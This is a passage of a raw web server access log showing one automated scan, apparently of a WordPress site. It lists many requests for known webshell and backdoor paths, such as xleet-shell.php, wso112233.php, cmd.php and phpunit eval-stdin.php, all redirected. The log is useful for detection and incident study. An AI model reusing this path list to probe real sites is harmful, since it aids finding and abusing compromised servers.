Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:21:48 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.phpcom.au/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:21:49 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /thanks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /hiroshi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /by.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /wpkey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /fun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /wp-content/plugins/Cache/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:49 -0400] "GET /wp-admin/css/colors/modern/git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /wp-includes/js/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /wp-admin/includes/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /kajisak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:49 -0400] "GET /wp-includes/wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /wp-content/themes/mero-megazines/ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /masterjob/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /wp-content/themes/welfare-charity/www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /components/com_joomdle/assets/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:49 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /wp-admin/images/preg_class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:49 -0400] "GET /trust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:50 -0400] "GET /cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:50 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:50 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:50 -0400] "GET /wp-content/uploads/72.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:50 -0400] "GET /webshell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:50 -0400] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:50 -0400] "GET /godsend.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:50 -0400] "GET /wp-includes/Text/iman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:50 -0400] "GET /upload_shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:50 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:50 -0400] "GET /wp-content/uploads/2023/user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:50 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:50 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:50 -0400] "GET /wp-zett.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:50 -0400] "GET /wp-includes/signin2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:50 -0400] "GET /you.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:50 -0400] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:50 -0400] "GET /LV.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:50 -0400] "GET /var/www/html/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:50 -0400] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:21:50 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:50 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:50 -0400] "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /admin/controller/extension/extension/Not_Found.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /wp-admin/maint/bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /uploads/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /wp-content/themes/applica/400.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:21:51 -0400] "GET /wp-content/upgrade/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:51 -0400] "GET /wp-includes/SimplePie/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /wp-content/upgrade/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /files/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /wboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:51 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /gettest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:51 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:51 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /wp-ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:52 -0400] "GET /pgs.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /wp-content/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /bionic.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /wp-includes/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:21:52 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /images/addphoto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /hidey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:21:52 -0400] "GET /wp-content/themes/tflow/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /wp-admin/images/cux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /myk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:21:52 -0400] "GET 